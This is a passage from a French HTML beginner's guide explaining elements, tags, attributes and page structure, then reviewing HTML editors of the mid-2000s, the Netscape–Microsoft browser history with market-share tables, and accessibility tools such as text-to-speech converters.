également dépourvu de balise de fermeture : un tel élément accomplit
quelque chose, puis s’arrête, devenant superflu dans le code. Un saut de
ligne (BR) est un tel élément vide : une fois le saut de ligne effectué, il
n’y a plus rien à faire. Vous rencontrerez par la suite d’autres éléments
vides.

XHTML
XHTML impose que tout élément possède une balise de fermeture. Il
existe toutefois une notation particulière signalant en XTML un élément
vide :
<br />
ou
<img src="[Link]" alt="image" />
Cette construction est à préférer à <BR></BR>, autorisée par XML, mais
qui provoque des résultats inattendus avec certains agents utilisateurs.

22 LE GUIDE COMPLET
Présentation rapide de la syntaxe et de la structure du langage Chapitre 1

Un élément n’est pas une balise !

Certaines personnes font référence aux éléments comme à des balises
(par exemple, « la balise P »). Souvenez-vous que l’élément P est une
chose et que la balise <P> en est une autre. Par exemple, l’élément HEAD
est toujours présent, même si les balises ouvrante <HEAD> et fermante
</HEAD> peuvent être absentes du document.

Les éléments se répartissent en deux catégories principales : les blocs et

les lignes, qui équivalent réciproquement aux styles paragraphe et
caractère d’un traitement de texte. Un élément de type bloc crée un
nouveau bloc (texte ou graphique), générant le plus souvent un saut de
ligne ou de paragraphe lors de son ouverture et/ou de sa fermeture. Le
plus classique des éléments de type bloc est le paragraphe de texte, mais
il en existe bien d’autres, comme vous le verrez.

En revanche, un élément ligne ne provoque pas de saut de ligne ou de

paragraphe et n’affecte pas la totalité du bloc. C’est le cas des éléments
modifiant la police, les couleurs, etc. Quelques très rares éléments
peuvent être à la fois de type bloc et de type ligne.

Tout élément peut posséder des éléments enfants imbriqués. Il porte

alors le nom d’élément parent :
<H1>Ceci est le titre <B>important</B></H1>

Ici, un élément B (gras) est imbriqué dans l’élément parent H1 (en-tête

de niveau 1). Le contenu de l’élément H1 est Ceci est le titre
<B>important</B>, celui de l’élément B est important.

Les éléments peuvent posséder des propriétés associées, appelées

attributs, qui peuvent eux-mêmes posséder des valeurs (par défaut, ou
encore définies par l’auteur ou par un script). Les couples attribut/valeur
apparaissent avant le caractère > final de la balise ouvrante d’un
élément. Un nombre quelconque de couples attribut/valeur (autorisés),
séparés par des espaces, peuvent apparaître dans la balise ouvrante d’un
élément. Ils peuvent survenir dans n’importe quel ordre :
<IMG src="[Link]">

Les attributs sont obligatoires pour certains éléments.

LE GUIDE COMPLET 23
 Chapitre 1 Introduction à HTML

Sensibilité à la casse
Les éléments HTML et leurs attributs ne sont pas sensibles à la casse.
Si théoriquement vous n’avez donc pas à vous préoccuper de la bonne
utilisation de majuscules et de minuscules dans vos balises, sauf pour les
noms de fichiers, d’après la spécification, les noms de balise doivent
toujours être écrits en majuscules et les attributs en minuscules.

En général, mieux vaut toujours placer la valeur d’un attribut entre

guillemets, même si HTML tolère leur absence lorsqu’il s’agit d’une
valeur numérique (contrairement à XTML). Cette valeur placée entre
guillemets doit être considérée comme sensible à la casse. Cette
sensibilité à la casse des valeurs d’attributs peut provenir du navigateur
(exceptionnellement) ou du serveur (très fréquemment). Ainsi, une telle
faute de casse peut passer inaperçue localement, mais être flagrante une
fois le site publié.

XHTML
En revanche, XHTML est sensible à la casse : la spécification
recommande d’écrire tous les noms d’éléments et d’attributs en
minuscules. Pour XML, <li> et <LI> sont des balises différentes. Un
soin particulier doit en outre être apporté au respect de la casse des
valeurs des attributs.

Le Tableau 1.1 montre la structure d’un élément, illustrée de quelques

exemples. Une balise HTML comporte toujours les signes <>.

Tableau 1.1 : Structure d’un élément HTML

Composant Description Exemple

< Balise ouvrante de la balise <

d’ouverture

ELEMENT Nom de l’élément A

Attribut Propriété de cet élément. Parfois href
obligatoire pour certains éléments.

Valeur Valeur de l’attribut, précédée d’un ="[Link]

signe égal et normalement placée [Link]"
entre guillemets.

> Balise fermante de la balise >

d’ouverture

24 LE GUIDE COMPLET
 Résumé Chapitre 1

Tableau 1.1 : Structure d’un élément HTML

Composant Description Exemple

Contenu Contenu de l’élément (pas pour tous MicroApplication

les éléments).

</ELEMENT> Balise de fermeture (parfois </A>

facultative).

Toute page HTML est composée, après la ligne de déclaration du DTD,

d’un élément racine HTML qui comprend deux éléments enfants :
j L’en-tête (HEAD) comprend des données non-affichées par le
navigateur, servant à sa configuration ou présentes au bénéfice de
l’auteur, du lecteur ou d’autres intervenants.
j Le corps (BODY) contient les données qui seront affichées,
encadrées par des balises spécifiant leur structure.

Une page HTML se présente donc fondamentalement comme suit :

<!DOCTYPE ...>
<HTML>
<HEAD>
...contenu...
</HEAD>
<BODY>
contenu...
</BODY>
</HTML>

Nous reviendrons bien sûr plus en détail par la suite sur cette structure.

1.5. Résumé
j HTML est un langage conçu par le CERN au début des années
1990. Fondé sur SGML (Standard Generalized Markup Language), il
a connu plusieurs évolutions avant de parvenir à la spécification
actuelle HTML 4.01.
j HTML sépare désormais efficacement la structure de la
présentation. Les éléments et attributs de présentation HTML sont
de plus en plus remplacés par d’autres mécanismes, en particulier
les feuilles de style.
j XML (eXtensible Markup Language), CSS (Cascading Style Sheet)
et DOM (Document Object Model) sont autant de technologies

LE GUIDE COMPLET 25
 Chapitre 1 Introduction à HTML

apparentées désormais intégrées ou exploitées en tout ou partie à

et par HTML.
j XHTML représente la future génération de HTML. La
spécification actuelle est XHTML 1.0.
j HTML est un langage dans lequel des balises (tag) définissent un
élément et ses propriétés. En HTML, ces balises sont les signes
inférieur et supérieur (<>). Une balise définit un élément encadré
par une balise d’ouverture et une balise de fermeture. Le contenu
figure entre ces deux balises.
j Il existe deux catégories principales d’éléments : les blocs et les
lignes. Un élément de type bloc crée un nouveau bloc, générant le
plus souvent un saut de ligne ou de paragraphe lors de son
ouverture et/ou de sa fermeture. En revanche, un élément ligne ne
provoque pas de saut de ligne ou de paragraphe et n’affecte pas la
totalité du bloc de texte.
j Les éléments peuvent posséder des propriétés associées, ou
attributs, dotées de valeurs. Les couples attribut/valeur
apparaissent avant le caractère > final de la balise ouvrante d’un
élément. Les attributs sont obligatoires pour certains éléments.

26 LE GUIDE COMPLET
 Les outils Web

Outils de création de pages Web ..................................................................................... 28

Navigateurs ............................................................................................................................ 36
Résumé ................................................................................................................................... 42
 Chapitre 2 Les outils Web

Pour bien concevoir un site Web, vous devez connaître et maîtriser deux
types d’outils : un ou plusieurs éditeurs HTML, qui permettent de créer
effectivement les pages et donc le site Web, et un ou plusieurs
navigateurs, qui affichent réellement ces pages Web.

Vous pourriez penser : « d’accord, parler des logiciels de création de

sites est logique, mais pourquoi aborder les navigateurs ? » La réponse
est simple : malgré l’existence des Recommandations du W3C, la
« petite guerre » entre les grandes familles de navigateurs ainsi que leur
obstination à préconiser plutôt telle ou telle méthodologie (et surtout pas
celle utilisée par l’autre) fait que le rendu d’une même page HTML peut
grandement différer selon le navigateur employé.

2.1. Outils de création de pages Web

Un éditeur HTML a pour but d’éviter la saisie manuelle souvent
fastidieuse des caractères spéciaux, des codes couleur, de l’encodage des
balises, etc. Comme il en existe un grand nombre, quelques précisions
sur les outils disponibles peuvent être utiles. Remarquez toutefois que
toute appréciation en ce domaine relève du subjectif : nous n’en
présentons que quelques-uns, classés par ordre alphabétique. La plupart
des éditeurs étant disponibles sur le Net en version d’évaluation, il peut
être utile d’en tester plusieurs avant de procéder à un choix définitif.

Les différents outils peuvent être classés en deux catégories : les éditeurs
commerciaux et les produits Open Source (gratuits). Ils se répartissent
également entre éditeurs WYSIWYG (What You See Is What You Get) et
les éditeurs en texte brut, qui nécessitent de connaître le HTML. Ces
derniers disposent généralement d’une fonction de prévisualisation dans
laquelle le codage des balises HTML n’apparaît plus. Gardez cependant
toujours à l’esprit que cette prévisualisation n’est, et ne sera, jamais
fidèle à 100 % par rapport à ce qui sera affiché par un navigateur.

À notre avis, mieux vaut éviter les éditeurs « qui écrivent tout pour
vous ». Un éditeur doit vous faciliter le travail tout en vous laissant la
main dans l’élaboration de votre page. Adoptez l’éditeur avec lequel
vous vous sentez le plus à l’aise. Même s’il n’est pas le plus célèbre, il
sera votre compagnon de longues heures de travail. D’ailleurs, pourquoi
se limiter à un seul éditeur ? Il est tout à fait envisageable d’employer un
éditeur évolué pour les premiers jets, afin de disposer rapidement d’un

28 LE GUIDE COMPLET
 Outils de création de pages Web Chapitre 2

brouillon exploitable, puis de recourir à un éditeur de la première

génération (plus proche des balises brutes) pour une personnalisation
plus pointue.

Éditeurs commerciaux
Adobe Golive CS2 (Windows, MacIntosh)
Adobe Golive est avant tout destiné aux infographistes. Il bénéficie du
savoir-faire d’Adobe en matière d’images et d’illustrations et permet la
gestion de la mise en page au pixel près, la gestion de l’interactivité
grâce à une ligne du temps et à un éditeur JavaScript, la création des
feuilles de style WYSIWYG et la gestion votre site. Les autres
concepteurs se sentent un peu perdus dans cet univers de palettes et
autres outils. Le code généré est d’une complexité certaine, à faire pâlir
tout puriste du codage HTML, tandis que son prix reste élevé (479 Q).

Dreamweaver MX 2004 (Windows, Mac)

Macromedia Dreamweaver est considéré par beaucoup comme le
meilleur éditeur HTML du moment. Il permet de concevoir
intelligemment la création de sites (codage HTML propre et
académique, compatibilité avec les différents navigateurs, mises à jour
dans tout le site, etc.). Certainement un peu déroutant lors de la première
prise en main, en raison de son nombre impressionnant de palettes
d’outils, il est facile de s’y habituer : cet éditeur WYSIWYG convient
aussi bien aux débutants qu’aux initiés. Complet, performant,
professionnel et évolutif, son seul handicap est son prix élevé (530 Q,
mais seulement 260 Q en version Éducation).

FrontPage (Windows)
Les utilisateurs de Microsoft Office, et plus spécialement de Word, ne
seront pas dépaysés par l’interface de l’éditeur de Microsoft : sa prise en
main leur est ainsi aisée. C’est un bon produit, auquel on ne peut
reprocher qu’une façon peu académique d’écrire le HTML : il est
fréquent que des navigateurs autres qu’Internet Explorer éprouvent
quelques difficultés à interpréter des pages écrites avec cet éditeur
(240 Q).

LE GUIDE COMPLET 29
 Chapitre 2 Les outils Web

HotDog Professional 7.0.1 (Windows)

La nouvelle version de la suite HotDog Professional Webmaster, de la
société Sausage Software, prend en charge un nombre encore plus grand
de langages (HMTL, JavaScript, CSS, PHP, ASP, VBScript).
Particulièrement puissante, elle dispose d’à peu près toutes les fonctions
envisageables. L’interface s’ouvre sur une fenêtre mixte qui présente à
la fois le code et sa mise en page obtenue via le navigateur. De très
nombreux outils et fonctions sont disponibles. Les outils Supertoolz
peuvent être téléchargés en groupe ou séparément depuis le site Internet
de Sausage Software. L’utilisation de la couleur en fonction des balises
ou de la syntaxe, la gestion de sites, la prise en charge des codes de
classement PICS (filtrage des contenus indésirables) et des canaux Web
d’envoi de données à l’instigation du serveur sont quelques-unes des
possibilités offertes. HotDog affiche automatiquement en rouge toute
erreur de syntaxe HTML qu’il détecte. Cette version intègre Xara
MenuMaker (pour la création de menus animés en DHTML ) ainsi que
Bloomer (facilite la création d’animations flash) (100 $).

Namo WebEditor
Intermédiaire entre FrontPage Express et FrontPage 2000, cet éditeur
devrait ravir les webmestres débutants à intermédiaires refusant de
recourir à des « usines à gaz » plus performantes, mais aussi plus
complexes. Raisonnablement complet et intelligemment conçu, le prix
de Namo WebEditor reste raisonnable (99 $).

WebExpert 6.0 (Windows)

WebExpert est un des rares éditeurs de ce groupe à ne pas être
WYSIWYG, mais à proposer un volet de visualisation permettant de
vérifier instantanément le résultat de son codage. Intéressant pour ceux
qui préfèrent avoir la sensation de coder du HTML plutôt que celle
d’employer un traitement de texte. C’est un éditeur complet, intelligent,
respectueux du code et de l’esprit HTML. Disposant de scripts et
d’aides intégrés, il permet de travailler rapidement et efficacement sur
(X)HTML, CSS, JavaScript, ASP et PHP. Il possède un autre intérêt :
son faible prix (67 Q). Vous pouvez facilement en trouver une version
d’évaluation de 30 jours en téléchargement.

30 LE GUIDE COMPLET
 Outils de création de pages Web Chapitre 2

Web Fast (Windows)

Web Fast est plus un outil complet de gestion de site qu’un simple
éditeur Web. Dès son lancement du logiciel, il prend en charge les
étapes nécessaires à la construction du site. Web Fast intègre le site
lui-même, le logiciel FTP nécessaire à sa publication sur Internet, les
fonctions de commerce électronique (versions Plus et Pro) avec suivi de
commandes, le paiement sécurisé (version Pro), les statistiques
complètes du site et un back-office. Le prix s’échelonne selon la version
de 75 à 456 Q.

Il existe bien d’autres éditeurs commerciaux, parmi lesquels HotMetal

(500 $, voir [Link]/) et CoffeeCup HTML ([Link]
/html-editor/, 49 $). Vous pourrez les découvrir en lançant une recherche
à l’aide de votre moteur de recherche favori, en employant comme
mot-clé « html editor » ou « éditeur html ». Ici, comme souvent, Google
reste votre meilleur ami !

Word (Windows)
Word peut également être considéré comme un éditeur HTML : il est
possible d’enregistrer un texte au format HTML, le traitement de texte
se chargeant d’ajouter toutes les balises nécessaires en fonction de ce
qui a été saisi. Cela est malheureusement accompagné d’un fatras de
balises absolument superflues, le respect des spécifications W3C restant
interprété de façon très personnelle par Microsoft… À déconseiller
absolument.

Éditeurs gratuits
Est-il réellement nécessaire de recourir à un logiciel payant ?
Aucunement. Il existe de très nombreux produits gratuits, capables
d’effectuer un excellent travail et probablement très suffisants pour la
création d’un site personnel.

1st Page 2000 (Windows)

1st Page 2000 est un outil de création de sites Web aussi adapté à la
création des pages HTML qu’à l’élaboration de scripts dans les langages
de programmation les plus récents. Son interface disponible sous trois
formes le destine tant aux débutants qu’aux professionnels du secteur.

LE GUIDE COMPLET 31
 Chapitre 2 Les outils Web

Ce logiciel offre toutes les fonctionnalités courantes de ses concurrents

payants, jusqu’aux plus sophistiquées comme en témoigne la présence
d’un convertisseur XML, d’un vérificateur de syntaxe, d’un compresseur
de documents ou encore d’un client FTP intégré. Il offre par ailleurs des
possibilités originales comme le redimensionnement automatique des
images, la correction de l’orthographe en cours de frappe (en anglais) et
la prévisualisation dans quatre navigateurs différents. Outre l’édition en
JavaScript particulièrement bien prise en charge, 1st Page 2000 permet
de manipuler les fichiers Flash et Shockwave. Il sait identifier et
surligner la syntaxe des langages DHTML, ASP, SSI, CFML et WebTV.
Le paquetage comprend 450 scripts JavaScript, 15 en DHTML , 17 en
Perl , 6 en HTML et 2 scripts CGI. Un bon niveau HTML est nécessaire.
Il n’est actuellement disponible qu’en anglais et peut être trouvé en
téléchargement un peu partout. Le site officiel se trouve à l’adresse
[Link]/[Link].

Amaya (Windows, Unix, AIX, Solaris, Linux)

Navigateur et éditeur WYSIWYG gratuit du W3C. Il sert à démontrer et
à expérimenter la plupart des nouveaux formats et protocoles
développés par le consortium W3. Il est adaptable et extensible, et prend
en charge notamment MathLM. Amaya propose par défaut de créer un
nouveau document uniquement dans une des trois versions de la
spécification XHTML 1.0 (strict, transitoire, de jeu d’encadrement),
mais il est possible de transformer le document en version HTML 4.01
(ou même en version XHTML 1.1) à l’aide de l’option de menu File >
Change the document type. C’est un produit intéressant, ne serait-ce que
pour vérifier la conformité de votre code ([Link]/Amaya/).
Figure 2.1 :
Interface d’Amaya

32 LE GUIDE COMPLET
 Outils de création de pages Web Chapitre 2

Éditeur Mozilla/Netscape Composer (Linux,

Windows et Mac OSX)
Inclus dans la suite Netscape Communicator depuis la version 4.0,
Netscape Composer était un éditeur gratuit. La dernière version de la
suite Mozilla (actuellement la 1.7.7) contient toujours cet excellent
éditeur, désormais nommé Mozilla Composer. Téléchargez-la en
français sur [Link]/fr/ Vous disposerez, en plus du
célèbre navigateur de l’éditeur, du logiciel gérant la messagerie et les
forums et de celui de discussion en direct (Chatzilla).

L’éditeur Mozilla propose toutes les grandes fonctions d’un éditeur Web,
dont des modes en code source ou en WYSIWYG, l’intégration de
feuilles de style et un logiciel ftp (file transfert protocol) pour envoyer vos
pages sur un serveur distant. Bien conçu, cet éditeur WYSIWYG reprend
les principales, et donc les plus usuelles, fonctions du HTML. Il reste
cependant un peu « léger » face aux éditeurs HTML plus spécialisés.

Figure 2.2 : Éditeur Mozilla

FrontPage Express
Inclus dans la suite Microsoft Internet Explorer 4.0, 5.0 et suivantes,
FrontPage Express est également un éditeur gratuit. Il reprend les
fonctions les plus usuelles du HTML. Son interface est voisine de celle

LE GUIDE COMPLET 33
 Chapitre 2 Les outils Web

de Microsoft Word. Attention cependant, il « écrit » principalement pour

Microsoft Explorer, ce qui peut provoquer de mauvaises surprises avec
d’autres navigateurs. Prudence…

Figure 2.3 : Front Page Express

NotePad (Windows)
Eh oui, le bon vieux Bloc-Notes de Windows peut servir d’éditeur
HTML ! Si vous employez Internet Explorer ou que vous en disposez, il
est même probable que vous vous en servirez (ou que vous vous en êtes
déjà servi) à votre insu : lorsque vous choisissez d’afficher le code
source d’une page avec ce navigateur (Affichage >> Source), celui-ci
s’affiche dans le Bloc-Notes. Si vous travaillez en local, vous pouvez
immédiatement modifier le code, enregistrer le fichier, puis rafraîchir
votre navigateur (bouton Actualiser ou Affichage >> Actualiser) pour
voir les résultats de vos modifications ; et cela d’une façon souvent plus
fidèle que celle du volet de prévisualisation des éditeurs plus évolués.
Oserai-je avouer que, comme c’est le cas pour d’autres anciens
programmeurs, le Bloc-notes reste mon principal éditeur HTML, surtout
en raison du mécanisme qui vient d’être expliqué : j’ai pris l’habitude de
travailler ainsi un site en local sous IE, même si mon navigateur Web
principal est en réalité FireFox…

Figure 2.4 :
Affichage du code
source dans le
Bloc-Notes, depuis
Internet Explorer.

34 LE GUIDE COMPLET
 Outils de création de pages Web Chapitre 2

Nvu 1.0/KompoZer (Linux, Windows et Mac

OSX)
Nvu (prononcer « N-viou ») est la refonte du module d’édition HTML
de Mozilla développé par Disruptive Innovations. Il permet de créer
facilement des pages Web en mode WYSIWYG. S’il n’est pas aussi
puissant que les poids lourds comme Dreamweaver ou Adobe Golive, il
reste largement suffisant pour la majorité des utilisations. Nvu permet de
créer des pages Web et de gérer un site sans aucune connaissance
technique ou apprentissage du HTML, ce qui le rend accessible à
quasiment tout le monde. Il permet également de générer des documents
en XHTML, d’éditer des pages en PHP et contient un éditeur de feuilles
de style intégré (CaScadeS) très pratique. Vous trouverez plus
d’informations sur Nvu sur le site officiel du projet Nvu (en anglais),
[Link]. Cerise sur le gâteau, il existe une version en français !
Produit recommandé.

Figure 2.5 : Interface de Nvu

Nvu n’est toutefois plus maintenu et French Mozilla recommande le

passage à Komposer ([Link] La version proposée en
téléchargement est anglaise, mais il existe des kits de localisation
disponibles sur le site officiel ou sur le site de French Mozilla (http:
//[Link]/nvu/).

LE GUIDE COMPLET 35
 Chapitre 2 Les outils Web

SoThink HTML Editor (Windows)

SoThink HTML Editor (anciennement nommé CutePage : vous pourrez
encore le trouver sous ce nom) est un éditeur HTML doté de
nombreuses fonctions, ainsi que d’un composant FTP capable de
télécharger les fichiers sur un serveur. Des outils supplémentaires
peuvent être téléchargés depuis le site de SourceTec Software. Appelés
« widgets » (un widget, contraction de Windows et de gadget, désigne
sous Unix et Linux un outil graphique permettant d’accomplir une
action. Windows emploie plutôt le terme de « contrôle »), ils concernent
en particulier la création de boutons, bannières et menus. SoThink est un
éditeur qui apportera beaucoup aux débutants et auteurs de pages Web
moyennement expérimentés ([Link]/htmleditor/).

Comme pour les éditeurs commerciaux, il existe bien d’autres éditeurs

gratuits. Là encore, vous pourrez en identifier en lançant une recherche à
l’aide de votre moteur de recherche favori.

En conclusion, notre avis est qu’un logiciel gratuit est largement

suffisant pour les besoins d’un utilisateur « normal » et peut suffire pour
une petite ou moyenne entreprise. Comme nous l’avons déjà évoqué, le
choix de ce logiciel dépend de vos préférences personnelles. Dans les
exemples de ce livre, nous nous servirons d’un éditeur en texte brut (ici
le Bloc-Notes de Windows, mais ce peut être un tout autre produit, par
exemple Vi sous Linux), ainsi que des éditeurs Amaya du W3C et de
l’excellent Nvu en français.

2.2. Navigateurs
Si vous souhaitez que votre site soit visible par tous dans de bonnes
conditions, et qu’il ne soit pas réservé aux seuls francophones possédant
une vue de 10/10, et disposant de surcroît exclusivement d’Internet
Explorer version 6 corrigé SP2… vous devez prendre en compte les
navigateurs de votre public. S’il s’agit d’un intranet d’entreprise, la
chose est généralement facile. Si, en revanche, vous voulez vous ouvrir
au monde entier, la tâche se complique. La première étape consiste donc
à examiner les navigateurs actuellement employés et à connaître les
principales différences existant entre eux.

36 LE GUIDE COMPLET
 Navigateurs Chapitre 2

Navigateur ou explorateur ?
Dans les premiers temps, Netscape Navigator était le seul produit
existant. Le terme anglais Web browser a donc logiquement été traduit
« navigateur Web ». Suite à l’arrivée d’Internet Explorer, Microsoft a
insidieusement tenté de faire passer dans les mœurs le terme
« explorateur Web ». Certains technocrates français ont alors tenté une
solution intermédiaire, en proposant comme terme officiel « fureteur »,
tandis que les Canadiens préféraient « butineur ». Nous nous en
tiendrons dans ce livre au terme consacré par l’histoire, soit
« navigateur », malgré une tendresse personnelle pour butineur.

Bref historique : Netscape contre Microsoft

Comme nous l’avons déjà évoqué, le Web est né vers 1990 des travaux
de Tim Berners-Lee. Le premier navigateur digne de ce nom, Mosaic,
est créé en 1992 par le NCSA (National Center for Supercomputing
Applications), un département de l’université de l’Illinois. Le projet était
dirigé par Marc Andreessen. Ses études à peine terminées, ce dernier se
rend dans la Silicon Valley, où il participe à la création de l’entreprise
Mosaic Communications. Le nom Mosaic étant la propriété du NCSA,
l’entreprise est rebaptisée Netscape.

Au milieu de l’année 1995, le navigateur de Netscape règne en maître :

il était alors dépourvu de tout concurrent sérieux. Sa part de marché n’a
pas été mesurée avec précision à cette époque, mais tout le monde
s’accorde à dire qu’elle dépassait 80 %. Ayant pris conscience de
l’importance du Web, Microsoft conçoit alors son propre navigateur,
Internet Explorer, dont la première version est distribuée gratuitement
avec Windows 95.

Dès 1996, la part de marché du navigateur de Netscape ne cesse de

décroître, au rythme de 1 % par mois environ. Même si, comme l’a
constaté la justice américaine, Microsoft a abusé de sa situation de
monopole dans le domaine du système d’exploitation pour imposer son
navigateur aux constructeurs de micro-ordinateurs, force est toutefois de
reconnaître qu’à partir de la version 4, Internet Explorer l’emporte sur le
plan technique : cette avance ne s’est ensuite jamais démentie.

En 1998, le code du navigateur Netscape est rendu public. Les logiciels

libres et Netscape ont en effet un ennemi commun : Microsoft. En
donnant à des bénévoles la possibilité de participer à l’évolution de son
navigateur, Netscape pense probablement pouvoir accélérer et améliorer

LE GUIDE COMPLET 37
 Chapitre 2 Les outils Web

sa production. C’est tout le contraire qui se passe. La version 5 du

navigateur ne verra jamais le jour, et la version 6 fut, à ses débuts, très
décevante (oserai-je dire que les termes « usine à gaz » et « lenteur
extrême » sont ici des euphémismes ?) et surtout très tardive. Dès 1999,
les parts de marché de Netscape et Microsoft sont respectivement de 29
et 69 % (source : Statmarket).

Un des gros défauts du navigateur de Netscape concernait l’affichage

des tableaux. Lorsque ceux-ci commencent à être employés
massivement pour la conception des pages Web, ce défaut éclate au
grand jour. La version 6 est corrigée, malheureusement un peu tard : au
début de l’année 2000, la part mondiale de marché du navigateur de
Netscape n’est plus que de 18 %. Au milieu de l’année 2001, il était
généralement admis qu’elle était descendue autour de 12 %, mais
qu’elle était stabilisée. L’apparition de la version 6 du navigateur de
Microsoft (fin octobre 2001) provoque une nouvelle baisse de la part de
marché de son concurrent : elle descend en dessous de 10 % et continue
à décroître, tandis que la version 6 d’Internet Explorer connaît en
revanche un réel succès. La chute s’accélère alors de manière
exponentielle. Une étude sur l’année 2001 créditait Navigator de 4,5 %
de parts de marché, contre 94,2 % à Explorer.

La version 6.2 de Navigator, corrigée, apparaît enfin comme un produit

sérieux, capable de rivaliser avec la version 6 de son concurrent, sauf en
ce qui concerne la vitesse, pourtant améliorée. Netscape a misé sur la
différence : son produit respecte les standards du W3C. Netscape a
abandonné les technologies propriétaires (JavaScript) au profit de
technologies standardisées (ECMAScript), alors que Microsoft reste
complètement en marge des Recommandations W3C. Le rachat de
Netscape par AOL place toutefois le sort de Navigator entre les mains de
ces derniers : ce fournisseur d’accès à Internet procure toujours à ses
clients un navigateur qui n’est autre que IE « personnalisé ».

De nouveaux challengers
En juin 2002, d’après OneStat, une société spécialisée dans l’analyse de
trafic, Internet Explorer dépasse la barre des 95 %. L’arrivée de
Netscape Navigator 7.0 en version d’évaluation au mois de mai, suivie
par celle de Mozilla 1.0 au mois de juin, stabilise cependant le déclin de
Navigator. Le prochain abandon de IE par AOL devient de plus en plus
probable : Compuserve, filiale d’AOL, utilise désormais un navigateur à

38 LE GUIDE COMPLET
 Navigateurs Chapitre 2

moteur Gecko. Le navigateur de Netscape aurait donc finalement une

chance de survivre.

Début 2005, avec 90 % du marché selon le cabinet d’études spécialisé

WebSideStory, Internet Explorer est toujours, de loin, le navigateur
Internet le plus utilisé dans le monde, bien qu’ayant perdu un peu plus
de cinq points depuis juin, principalement au bénéfice de Firefox,
l’application de la fondation à but non lucratif Mozilla. Celui-ci s’adjuge
près de 5 % du marché en janvier, contre 2,7 % en octobre 2004. Dans
les mois qui suivent, Firefox continue sa progression, directement aux
dépens d’Internet Explorer.

Au cours de l’été 2005, Netscape jette l’éponge : la suite Mozilla 8, dont

le nom de code était Seamonkey, ne verra jamais le jour. L’équipe
rejoint la Fondation Mozilla pour se consacrer au développement de
Firefox et de Thunderbird, le logiciel de messagerie frère.

Entre 2005 et 2008, Firefox progresse de près de 13 points, grignotant

sur Internet Explorer et sur les autres produits basés sur Mozilla (la suite
et Netscape). On peut remarquer les audiences de Safari (réservé aux
derniers Mac OS X) à un peu plus de 1,5 %. Opera est désormais
marginal avec 0,1 %.

Tableau 2.1 : Parts de marché des navigateurs Web entre janvier 2005
et janvier 2008 d’après Libstat, Médiamétrie-eStat et Journal du Net
([Link]
et [Link]

Navigateur Pourcentage au Pourcentage au Pourcentage au

01/2005 01/2007 01/2008

Internet 90,7 % 85,3 % 73,4 %

Explorer

Mozilla/Firefox 8,1 % 11,7 % 20,7 %

Safari 1,2 % 1,6 % 1,5 %

Opera 0,3 % 0,6 % 0,1 %

Autres 0,6 % 0,3 % 3,3 %

Ces chiffres dépendent toutefois largement du pays et du type

d’utilisateur : selon certaines données, la part de marché de Firefox
pourrait déjà dépasser 35 % en France chez les utilisateurs individuels
(hors entreprises).

LE GUIDE COMPLET 39
 Chapitre 2 Les outils Web

Il est également intéressant d’examiner les systèmes d’exploitation

employés. Windows Vista atteint 13 %, Windows XP est crédité de
77 %. Les anciens Windows ne représentent plus que 4 % des
internautes français. Mac et Linux progressent tout en restant modestes
avec respectivement 3,5 et 0,3 % de ces internautes en janvier 2008.

Concrètement, cela signifie que dans l’immédiat vous devez tester vos
pages avec Internet Explorer (de préférence versions 6 et 7) et Firefox
pour toucher près de 96 % du public potentiel. Si possible, effectuez
également un test avec Safari (sur une machine Mac), Netscape et
Mozilla (sur une machine Windows) et enfin avec Konqueror sur une
machine Linux.

Tableau 2.2 : Comparaison entre navigateurs Web

(source : [Link]
Dispositif Mozilla Camino Opera (http: Apple Safari Microsoft
Suite/Firefox //[Link]/) ([Link] Internet
/safari/) Explorer
([Link]
.com/windows/ie/)

Plates- Windows, Mac OS X Windows Mac OS X Windows

formes Mac OS X, Linux,
prises en Linux, autres Symbian (http:
charge //[Link]/),
Motorola
([Link]
.com/), autres

Coût Gratuit Gratuit 39 $ (ou Intégré Intégré

gratuit avec
publicités)

Open Source Oui (http: Oui (http: Non Partiellement Non

//[Link] //[Link] ([Link]
/MPL/) /MPL/) .[Link]
/darwin/projects
/webcore/)

Onglets de Oui Oui Oui Oui Avec un

navigation programme
de tierce
partie
(comme
MyIE2)

Blocage des Oui Oui Oui Oui Oui

popup

Gestionnaire Oui Oui Oui Oui Limité via

de modules
formulaires/ complémen-
mots de taires
passe

Thèmes Nombreux Quelques- Nombreux Quelques- Via une

([Link] uns ([Link] uns application
.net/firefox .com/community séparée
/themes/) /customize/)

40 LE GUIDE COMPLET
 Navigateurs Chapitre 2

Tableau 2.2 : Comparaison entre navigateurs Web

(source : [Link]
Dispositif Mozilla Camino Opera (http: Apple Safari Microsoft
Suite/Firefox //[Link]/) ([Link] Internet
/safari/) Explorer
([Link]
.com/windows/ie/)

Extensions Nombreuses Néant Néant Quelques- Quelques-

([Link] unes unes
.[Link]/,
(http:
//extensionroom
.[Link]/) et
([Link]
[Link]/)

Personna- Intensive ? Intensive ? Partielle (à

lisation (avec (avec les l’aide des
about:config) fichiers prefs préférences
et .ini) et des
fichiers du
registre et de
stratégies)

Vous trouverez dans l’Annexe C les adresses où vous procurer les

différents navigateurs. Il convient également de citer Lynx ([Link]
.[Link]/), un navigateur en texte seul largement employé par les
personnes souffrant de handicaps visuels. Il est souvent employé en
combinaison avec un convertisseur texte-parole.

Figure 2.6 : Lynx, navigateur en texte seul, affichant la page d’accueil de

Google.

Convertisseurs texte-parole
De nombreuses personnes handicapées, particulièrement les
malvoyants, ont recours à des convertisseurs texte-parole. Il s’agit de
programmes capables de lire à haute voix un document informatique.
Ces convertisseurs emploient souvent une inflexion particulière ou un
signal lorsqu’ils rencontrent un élément HTML particulier, si bien qu’il
est déconseillé d’utiliser de façon incorrecte ces éléments si votre public
est susceptible d’inclure des handicapés. Et, à moins que votre site ne
soit pas présent sur Internet, il est probable qu’il sera visité par un

LE GUIDE COMPLET 41
 Chapitre 2 Les outils Web

nombre certain de handicapés. Ces convertisseurs font partie des

agents utilisateurs HTML.

Pourquoi « agent utilisateur » plutôt que « navigateur » ?

Même si les navigateurs sont probablement les principaux
consommateurs de documents HTML et XHTML, d’autres programmes
et systèmes lisent ces documents. Par exemple les convertisseurs texte-
parole que nous venons d’évoquer ou les moteurs de recherche qui lisent
les pages Web sans être des navigateurs. Le terme « agent utilisateur »
sert à rappeler cette nuance.
Une recherche sur Google montre ainsi parfois certains résultats stipulant
« Cette page utilise des cadres, mais votre navigateur ne les prend pas en
charge », ce qui peut dissuader certains utilisateurs de cliquer sur ce lien.
L’auteur de ce site a oublié qu’il existait autre chose que des navigateurs :
il aurait dû placer un texte approprié dans un élément noframes
(reportez-vous au Chapitre 7, traitant des jeux d’encadrement, pour plus
de précisions à ce sujet) pour éviter ce problème.

2.3. Résumé
